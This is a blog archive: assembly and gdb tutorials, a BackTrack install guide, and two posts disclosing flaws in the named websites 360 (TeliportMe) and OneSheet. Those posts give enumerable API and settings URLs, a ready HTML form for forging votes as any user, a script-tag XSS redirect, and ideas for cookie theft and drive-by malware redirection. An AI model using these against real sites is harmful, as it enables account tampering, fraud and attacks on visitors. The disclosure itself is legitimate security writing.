movl $HelloWorldString, %esi
movl $DestinationUsingRep, %edi
movl $25, %ecx # because HelloWorldString contains 24 characters + a null terminator
cld
rep movsb

Here we have movsb being called 25 times (the value of ECX). Because movsb increments both the ESI and EDI register you don’t have to concern yourself with the memory handling at all. So at the end of the example, the values are..

%esi: $HelloWorldString+25
%edi: $Destination+25
%ecx: 0
DF: 0
HelloWorldString: "Hello World of Assembly!"
Destination: "Hello World of Assembly!"

More to Come

I hope you enjoyed reviewing data types and mov operations. Stay tuned for more assembly tips!

Let’s review gdb and go over some tips to make sure the course work becomes smooth sailing. This is primarily an introduction to general use of gdb, but there are a few tips and tricks as well.

Introducing gdb

Installing gdb

BackTrack doesn’t come with gdb; I don’t understand why, but it’s a Debian distro, so this will install it:

# apt-get install gdb

Loading a program into gdb

# gdb ./VariableDemo

Debugging symbols

While plenty of gdb features will work on any executable, many of the really useful features require that the executable was assembled with debugging symbols enabled.

A note about 32-bit vs 64-bit

My machine is 64-bit so the example output displayed here is all 64-bit. You’ll notice that the registers are %rax, %rbx, etc. instead of %eax, %ebx, etc. This is because the registers are 64-bit instead of 32-bit, but is generally unimportant in regards to the examples.

Example assembly program

The examples shown here were produced using the following assembly language program:

# Demo program using variables in assembly

.data

	HelloWorld:
		.ascii "Hello World!"

	ByteLocation:
		.byte 10

	Int32:
		.int 2
	Int16:
		.short 3
	Float:
		.float 10.23

	IntegerArray:
		.int 10,20,30,40,50

.bss
		.comm LargeBuffer, 10000

.text

	.globl _start

	_start:
		nop

		# call exit(0)
		movl $1, %eax
		movl $0, %ebx
		int $0x80

Listing the program code

From the current position in the source file (context of what is being executed)

At the (gdb) command prompt:

list

If the program is not running, this will list the first 10 lines of code. If the program is running, this will list the 10 lines surrounding the last line that was executed (in other words, you will see the context in which the program is executing at that time). This is useful when you’re stepping through a program. Press [enter] to continue perusing the next 10 lines of code.

Example

(gdb) list
1	# Demo program using variables in assembly
2
3	.data
4
5		HelloWorld:
6			.ascii "Hello World!"
7
8		ByteLocation:
9			.byte 10
10

A specific line

At the (gdb) command prompt:

list 20

This will list the 10 lines of code surrounding line 20. In other words, you will see lines 15 through 24. Press [enter] to continue perusing the next 10 lines of code.

Example

(gdb) list 20
15		Float:
16			.float 10.23
17
18		IntegerArray:
19			.int 10,20,30,40,50
20
21	.bss
22			.comm LargeBuffer, 10000
23
24	.text

Setting a break point

By line number

At the (gdb) command prompt:

break 10

Example

(gdb) break 10
Breakpoint 1 at 0x4000b0: file VariableDemo.s, line 10.

This will set a break point at line 10.

By function name

At the (gdb) command prompt:

break *_start+1

This will set a break point at the first line of the _start function. The asterisk followed by the method name tells gdb that we are referring to the memory location of that method.

Example

(gdb) break *_start+1
Breakpoint 1 at 0x4000b1: file VariableDemo.s, line 32.

Running the program

At the (gdb) command prompt:

run

The program will execute until it hits a breakpoint, an input operation, an error, or until the program exits.

Example

(gdb) run
Starting program: /root/assembly/VariableDemo 

Breakpoint 1, _start () at VariableDemo.s:32
32			movl $1, %eax

Stepping through the program

At the (gdb) command prompt:

step

The program will execute until it reaches the next source line; the next source line will also be displayed on screen. If you step again the source line displayed on screen will execute. You can also just use s for short instead of step.

Example

(gdb) step
33			movl $0, %ebx

Continuing execution after a breakpoint

At the (gdb) command prompt:

continue

The program will continue executing until it reaches a breakpoint, an input operation, an error, or until the program exits. You can also just use c for short instead of continue.

Example

(gdb) continue
Continuing.

Program exited normally.

Listing variables

At the (gdb) command prompt:

info variables

Print the variables defined by the program.

Example

(gdb) info variables
All defined variables:

Non-debugging symbols:
0x00000000006000c0  HelloWorld
0x00000000006000cc  ByteLocation
0x00000000006000cd  Int32
0x00000000006000d1  Int16
0x00000000006000d3  Float
0x00000000006000d7  IntegerArray
0x00000000006000f0  LargeBuffer

Listing registers

At the (gdb) command prompt:

info registers

Print the registers defined by the program.

Example

(gdb) info registers
rax            0x0	0
rbx            0x0	0
rcx            0x0	0
rdx            0x0	0
rsi            0x0	0
rdi            0x0	0
rbp            0x0	0x0
rsp            0x7fffffffe4b0	0x7fffffffe4b0
r8             0x0	0
r9             0x0	0
r10            0x0	0
r11            0x200	512
r12            0x0	0
r13            0x0	0
r14            0x0	0
r15            0x0	0
rip            0x4000b1	0x4000b1 <_start+1>
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

Understanding how to examine memory

When examining memory locations you use the x command. The x command requires the format to print the data and the location of the data to print.

At the (gdb) command prompt:

x/FMT ADDRESS

The format includes the data size, data type, and number of objects to print.

Valid Data Types

o(octal)
x(hex)
d(decimal)
u(unsigned decimal)
t(binary)
f(float)
a(address)
i(instruction)
c(char)
s(string)

Valid Data Sizes

b(byte)
h(halfword, 2 bytes, int16)
w(word, 4 bytes, int32)
g(giant, 8 bytes, int64)

Examining memory

By memory location

At the (gdb) command prompt:

x/12cb 0x00000000006000c0

Examine the 12 bytes at memory location 0x00000000006000c0. Print the bytes as characters.

Example

(gdb) x/12cb 0x00000000006000c0
0x6000c0 :	72 'H'	101 'e'	108 'l'	108 'l'	111 'o'	32 ' '	87 'W'	111 'o'
0x6000c8 :	114 'r'	108 'l'	100 'd'	33 '!'

By label name

At the (gdb) command prompt:

x/5dw &IntegerArray

Examine the 5 words at the memory location of label IntegerArray. Print the words as decimals (ints).

Example

(gdb) x/5dw &IntegerArray
0x6000d7 :	10	20	30	40
0x6000e7 :	50

Getting help

At the (gdb) command prompt:

help x

If you forgot how to examine memory, this would return helpful information for the x

Example

(gdb) help x
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
  t(binary), f(float), a(address), i(instruction), c(char) and s(string).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1.  Default address is following last thing printed
with this command or "print".

More to Come

That’s it for the basics of gdb. As I continue to pick up tips I’ll cover more topics, so expect to see more soon!

To review assembly I’ll primarily be following the Assembly Primer for Hackers from Vivek Ramachandran of SecurityTube. I’ve been through several of these lessons before and they’re very easy to follow for someone who has previous Linux and programming experience but would like a thorough introduction to assembly. What I’ll be doing here is documenting simple tips that will help me later. Hopefully this will become a useful study guide and cheat-sheet for both assembly and gdb (the GNU debugger).

Introducing assembly

The general purpose CPU registers

These are the CPU registers and their common uses. Practically you could actually use them to store anything, but these are general guidelines that are commonly followed to make assembly programs easier to follow.
EAX: Accumulator registers; used for storing operands and result data
EBX: Base register; used as a pointer to data
ECX: Counter register; used in loop operations (such as the way i is commonly used in C)
EDX: Data register; I/O pointer
ESI: Data pointer register; used as the source location in memory operations
EDI: Data pointer register; used as the destination location in memory operations

Special Registers

These are used in relation to the stack and are typically used only for stack operations.
ESP: Stack pointer register; points to the top of the stack
EBP: Stack base register; points to the base of the stack frame

8-bit vs 16-bit vs 32-bit vs 64-bit

The registers listed above don’t exactly explain the whole story. While the information above is valid, it only discusses the 32-bit registers. In reality, you could be using a 64-bit machine which has 64-bit registers. In the case of 64-bit, the names of the registers are actually RAX, RBX and so forth instead of EAX, EBX etc. However, just because you are using a 64-bit machine does NOT mean the 32-bit register names are invalid. What happens is the CPU simply accesses the lower 32 bits of the 64-bit register. Visually this looks something like this:

|63........32|31.................0|
             |EAX.................|
|RAX..............................|

So as you can see, EAX and RAX are actually the same register on a 64-bit machine; they access and control the same data, but EAX represents only the contents of the lower 32 bits (0 through 31), while RAX represents the full 64-bit register (0 through 63). What that means is that if you modify either register, you are modifying the other register as well. They serve different purposes, but they should not be considered separate variables.

To continue this concept, when you’re working with 16-bit integers you can even store them in the lower half of the 32-bit registers as well. You do this by using AX, BX and so on, which of course refer to the lower 16 bits of EAX and EBX respectively. Furthermore, you can even access both the upper and lower 8 bits of AX by using AH for the high bits and AL for the low bits. This, of course, applies to BX and so forth as well. To demonstrate this visually again, that would look like this:

|63........32|31....16|15..8|7...0|
                      |AH...|AL...|
                      |AX.........|
             |EAX.................|
|RAX..............................|

In the examples I’ll primarily be using 32-bit and 16-bit registers, but if you’re using a 64-bit machine you can access the larger registers as well. These concepts are important as we’ll see them in the examples and in some of the output as well since I’m running a 64-bit machine myself.

Additional 64-bit registers

Also, if you’re running a 64-bit machine you have the R8, R9 .. R15 registers as well (that’s 8 additional registers!). We won’t be using them in the examples, but for completeness I thought it was worth mentioning.

Where a program sits in memory

The executable code in .text is at the lowest memory location, while the stack is at the highest memory location. All other data lies between these two locations.

An explanation of program memory; photo credit to Vivek Ramachandran

Keep in mind this is virtual memory, not physical memory; every program runs as if it were the only program running on the machine. That’s why every program appears to occupy the lowest and highest memory locations, because the operating system is abstracting the memory layer and handling all that nastiness for us.

Understanding the stack

When discussing program memory, we learned that the stack sits in the highest memory location. To complete this concept, let’s discuss the stack a bit.

An explanation of the stack; photo credit to Vivek Ramachandran

The stack is a LIFO (last in, first out) data structure that only supports two operations: push and pop. To add a value to the stack, you push; to remove a value from the stack, you pop.

One very important characteristic to remember about the stack is that its base sits in the highest memory location. What that means is that when you push a value onto the stack, the top of the stack is at a lower memory location than the base (or bottom) of the stack. This may seem like a confusing concept at first, but it’s important to understand that the stack grows DOWN.

Also keep in mind that each time a value is pushed onto or popped off of the stack, the ESP register will be adjusted to point to the top of the stack.

Writing a simple assembly program

Assembly programs are written using labels. The .text label defines the program’s executable code. The .globl label specifies a list of the function calls that should be made exportable to other programs (for instance if you were writing a library, the public interface methods would be exposed here). Program execution begins at _start, which acts as the main subroutine. The _start routine should be part of .globl.

.text

.globl _start

_start:
    # to call exit(), we place 1 into %eax
    movl $1, %eax
    # the exit status will be 0 and it goes into %ebx
    movl $0, %ebx
    # call the system call
    int $0x80

This example uses a system call to exit the program.

Understanding system calls

In linux, the interrupt vector $0×80 signals execution to transfer to the kernel entry point _system_call. The parameters to _system_call are %eax (1) and %ebx (0). To visualize this more effectively, you could think of it as if the instructions in _start were written more like this:

#define EXIT 1
#define STATUS 0
_system_call(EXIT, STATUS);

In reality, _system_call always reads its values from the general purpose CPU registers and can therefore accept a maximum of 6 parameters. The first parameter (stored in %eax) determines what system call should be made. In the simple assembly program we specified a value of 1, which corresponds to the exit system call.

The interrupt vector to perform a system call is unique to each operating system, just as the system calls themselves are unique to each operating system. Therefore the above code will only run as designed on the various linux distributions. Read more about linux system calls at LinuxJournal.

Assembling and linking

For single-file programs

To assemble a program into an object file you can use as (the GNU assembler) with the -o flag to specify the output filename.

# as -o JustExit.o JustExit.s

After assembling, you’ll need to link the file. Once again the -o flag specifies the output filename.

# ld -o JustExit JustExit.o

At this point you should be able to execute the software normally.

# ./JustExit

Assembling with debugging output

Oftentimes you want to generate debugging information in the output so that you step through the program more clearly with the debugger. To generate STABS debugging info, use the -gstabs flag:

# as -gstabs -o JustExit.o JustExit.s

More to Come

This is just the tip of the iceberg. I’ll be adding more notes and more articles as I find time. Enjoy!

In preparation for the Pentesting with Backtrack course (the course you take before applying for the OSCP exam), I’ll be installing Backtrack 5 in VirtualBox. Continue reading to learn how.

Installing Backtrack in Virtual Box

1. Download the latest BackTrack from the Backtrack website
2. Download and install the latest VirtualBox from the VirtualBox website
3. Open VirtualBox Manager
4. Click New
5. Name your VM anything you want; I chose to name mine bt5. Select Linux as the OS and Linux 2.6 as the version.

Installing BackTrack in VirtualBox; click to enlarge

6. Select the RAM size; I chose 2048
7. Select Create new hard disk
8. Use VDI
9. You can choose to use either a dynamic or static disk; I personally chose static and allocated 8GB
10. Once this is done, you can select your new VM and click the Start button in VirtualBox
11. The new set up guide should appear and it will ask you to select your CD/DVD drive. Choose the BackTrack ISO you downloaded as the CD/DVD drive and VirtualBox will boot into BackTrack’s live disc.
12. You will see the splash screen below. Just type startx to boot into Gnome or KDE.

BackTrack splash screen; click to enlarge

13. Double-click the Install BackTrack link on the desktop to start the installation process
14. Select your geographical location and click Forward. Same for the keyboard layout.

BackTrack location setup; click to enlarge

15. The next screen allows you to configure the partitioning layout. The assumption is that you are deleting the whole drive and installing BackTrack. This should be fine since you’re installing within a VM, but you can configure it if you would like.
16. Accept the installation summary and click Install.

BackTrack installation summary; click to enlarge

17. BackTrack is now installing! Wait patiently; this can take a while depending on how much RAM you allocated and how fast your PC is!

Installing BackTrack to the hard drive; click to enlarge

18. You’re done installing! Restart!
19. When BackTrack boots, use the username root and the password toor to login. Change the password using passwd.
20. You may have noticed you’re at a duller black screen instead of the cool splash screen you had during the live session. If you think this is hardcore, then good for you! If you liked the splash screen better then use fix-splash to restore it!

21. If you fixed the splash screen, go ahead and reboot again using shutdown -r now.

Finish Line

Congratulations! You’re all done! Go forth and prosper! Don’t forget you can still use startx to get back to your desktop environment if you want to use the GUI tools.

About a week ago, TechCrunch discussed a panorama application for Android. The application is called 360 and it was created by Vineet Devaiah‘s company TeliportMe. It’s received praise from some other reputable sources as well and has even managed to attract about 30,000 users; but as will become more apparent over time I love to dig into the security of these sorts of apps. Unfortunately for TeliportMe, their web security is not up to snuff.

Warning

I will warn you one more time! DANGER! DANGER! DANGER! Proceed with reading this article and/or partaking in any action on TeliportMe’s 360 website or mobile application with extreme caution and at your own risk. I highly recommend that you DO NOT visit TeliportMe’s 360 website or PhotoTour.in directly. By the time you read this someone else may have already used this information to exploit the site and/or its visitors. YOU HAVE BEEN WARNED!

The 360 Exploits

There are various ways you can go about exploiting this application. I’ll discuss a few of the information disclosures, how to modify any photo’s name, and a few ways to use XSS.

Information Disclosures

360 as well as PhotoTour.in both use a REST API to pass data around internally via XML. This is an excellent way to build a reusable system and makes it very easy to build new applications as your company grows (great job devs!). Where they went wrong is in securing this system, because guess what!? That’s right! IT’S PUBLIC! Below are some cool links you can use to query their API.

Recent Photo Stream

This is the recent photo stream. You can also use a few variables to limit your query. Nothing special here outside of maybe the addresses and geographical coordinates. Most of this is available via the website anyway.

http://360.vtcreator.com/api/stream/

http://360.vtcreator.com/api/stream/index?count=10&type=upload

User Data

This is how to obtain information about a user. Luckily this doesn’t contain any really sensitive information, but it does make it easy to tell who is signed up on the site, how many people are signed up, and you can potentially grab some users’ email and Facebook info. Below is the link to one of the CEO’s accounts. You can of course change the 5 to any number you want to try other accounts.

http://360.vtcreator.com/api/users/5

Photo Data

You can also obtain photo data. Nothing special here really outside of more geographical info and vote info. Looks like they were considering implementing a dislike feature.

http://360.vtcreator.com/api/environments/3117

More Fun

There are lots of other fun things you can do like getting the photo comments or posting new comments. I won’t go into all the details, but below is a link to get photo comments.

http://360.vtcreator.com/api/threads/phototour_environment_2515

Editing Any Photo’s Info

From the website

The good thing about this exploit is it’s not public; you do have to be logged into the site. The bad part is when I say edit any photo I literally mean ANY photo on ANYONE’S account. Of course the photo then becomes associated with your account, but obviously a malicious user could just use a proxy if he wanted to protect his identity and then go around modifying user photos. Below is a link to edit one of Vineet’s photos, but of course you can change the photo id from 3117 to anything you want.

http://360.vtcreator.com/profile/editphoto/id/3117

Using Your Own Form

If you want to get really crafty you can build an HTML form yourself and just post data to http://360.vtcreator.com/profile/upload. Then you can edit a few more details like the photo location. I won’t go into those details here.

Liking (Voting for) Any Photo As Any User

This is another exploit that will allow you to impersonate any user and vote for any photo. By impersonating different users you can spam votes for one photo to get it to the top of the “Top Rated” list on the 360 website. This one requires making an HTTP POST request, so you could copy and paste the below into a file called 360_voter.html and then use it to submit false votes. You can change 3117 to any photo ID and 5 to any user ID to vote for that photo as that user.

<html>
<body>
<form method="post" action="http://360.vtcreator.com/api/environments/3117/votes/">
<input name="user_id" type="text" value="5" /><br />
<input name="environment_id" type="text" value="3117" /><br />
<input type="hidden" name="value" value="1" /><br />
<input type="submit" name="submit" value="Vote" class="submit-button"/>
</form>
</body>
</html>

Cross Site Scripting (XSS)

Photo Names

And of course, the ever prevalent XSS exploits. There are a couple on the 360 site and even more on PhotoTour.in, but I’ll only discuss the 360 site in this post. The first is that when editing any user’s photos you can inject JavaScript into the Photo name.

Photo Comments

Secondly, when viewing photos you can add comments which can also contain injected JavaScript. You could use this to target specific users by injecting JavaScript into all of their photos; something that steals their cookie would do nicely, unlike the harmless alert below.

Hijacking the Homepage

With this information you could easily hijack the homepage to redirect users somewhere else.

• Upload a photo
• Rename the photo to add JavaScript that redirects users to another website
• Spam votes using the vote exploit to get the photo to the top of the list of “Top Rated” photos which is displayed as the homepage

Of course the site you redirect to could easily be a drive-by install site that installs malware on the users’ PCs or pretty much anything you wanted. Scary!

Things to Ponder

SQL Injection

With all the things I see on this site it certainly appears that one could do more devious deeds. I wouldn’t be surprised to see some SQL injection, but I didn’t attempt to exploit it myself.

Account Deletion

360 uses HTTP POSTs to delete things. Generally you just POST something like method=delete&user_id=1&access_token=123abc to one of the API URLs. I suspect a crafty user could bypass this simple access_token check. Below is an example URL; that URL would delete the photo if it were a POST request instead of a GET and if it had a valid access_token and user_id:

http://360.vtcreator.com/api/environments/3117?method=delete&user_id=1&access_token=123abc

Lessons Learned

• New websites can easily become playgrounds for malicious users
• Where there’s one exploit, there’s another
• Multiple exploits can allow a crafty attacker to perform even worse attacks (like hijacking your homepage)

So, remember that OneSheet site all the bloggers have been talking about (it’s basically a site for Bands to aggregate all their social media into one page and then add a background or bio for a little extra flavor)? Since those articles were written they’ve amassed over 1000 followers on Twitter. Well, I tried it out and the security is completely piss poor. Any respectable band that does not want their reputation tarnished should absolutely stay away from this site until they fix the glaring security holes. Continue reading to see why this site’s security is ridiculous.

Warning

I will warn you one more time! Proceed with reading this article and/or partaking in any action on OneSheet with extreme caution. I highly recommend that you DO NOT visit OneSheet.com directly. By the time you read this someone else may have already used this information to create a OneSheet JavaScript worm. If this is too scary, abandon ship! YOU HAVE BEEN WARNED!

The OneSheet Exploits

You’ll notice I said “exploits” with an ‘s’. Plural. I’m not kidding. For the sake of other bands on OneSheet I’ll use a page I created myself as the example. Keep in mind that due to these issues I recommend you DO NOT VISIT OneSheet.com.

Editing An Artist’s Info

Below is my personal OneSheet account.

(click to enlarge)

If this were your account, you could edit the Artist Info by clicking the link.

Since it’s my account, I can open this in a new tab (right-click -> open in new tab). This brings me to a page that looks like this.

Normally this wouldn’t seem like a big deal. The problem is that this link is public! Not only is this a completely public link, but the URL also uses the band ID (mine is 3095)!

http://www.onesheet.com/settings/3095/artist-info/

Anyone can just enter a band ID at random and start editing that band’s biography or website address! Not only that, but simply viewing the source code of most pages will give you the band’s ID, so you can target bands directly.

Editing An Artist’s Services

OneSheet allows bands to integrate their social media sites into their OneSheet page. By browsing to an artist’s services page any public internet user can edit a band’s social media accounts.

The URL uses the same flawed mechanics!

http://www.onesheet.com/settings/3095/services/

Cross Site Scripting (XSS)

As if that wasn’t bad enough, you can even enter JavaScript into the artist’s biography! I tried entering this into my biography and I was redirected right to my blog:

<script>document.location='http://techblogistech.com'</script>

I’m afraid this means malicious scripts could already be floating about on OneSheet. Even without the other insecurities this one could have been exploited by anyone with a OneSheet account on their own page. Please please please do not visit this site until these exploits are confirmed fixed!

Background Colors

Anyone can use this same approach to edit a page’s background color publicly and likely do other harm to users of the site. Because the background color ends up in the HTML on the band’s main page, a crafty attacker could probably find a way to inject more nasty JavaScript there as well.

Background Images

The background images script used on the site seems proprietary, but it uses what appears to be a very simple API to upload the files. Anyone with a little free time could analyze this further and I think you’ll find that it’s publicly available as well and eventually does an HTTP POST back to the same background page used by the color changer. I didn’t spend much time on this one, but it’s almost certainly possible.

Things to Ponder

SQL Injection

With all the URL mishaps I wouldn’t be surprised to find some SQL injection lying around on the site. I didn’t try, but it certainly wouldn’t be surprising.

Account Deletion

There are links to delete accounts in the control panel. There is some cross site request forgery (CSRF) protection present–I did a couple tests on my own OneSheet pages while logged out–so it’s not incredibly easy to delete accounts that don’t belong to you. It’s just using a token stored in a hiddle input field though; I’m not even sure this token is changing between logins though, so this may not be very safe.

Cross Domain Redirection

Previously I discussed this exploit using Xanga as the example. It appears something similar is being implemented on OneSheet, though it doesn’t seem to work yet. It also may be a bit safer since it doesn’t include the domain name, but their track record has already ruined any trust I would have in them.

http://www.onesheet.com/accounts/login/?next=/swib

Lessons Learned

• New websites can easily become playgrounds for malicious users
• Where there’s one exploit, there’s another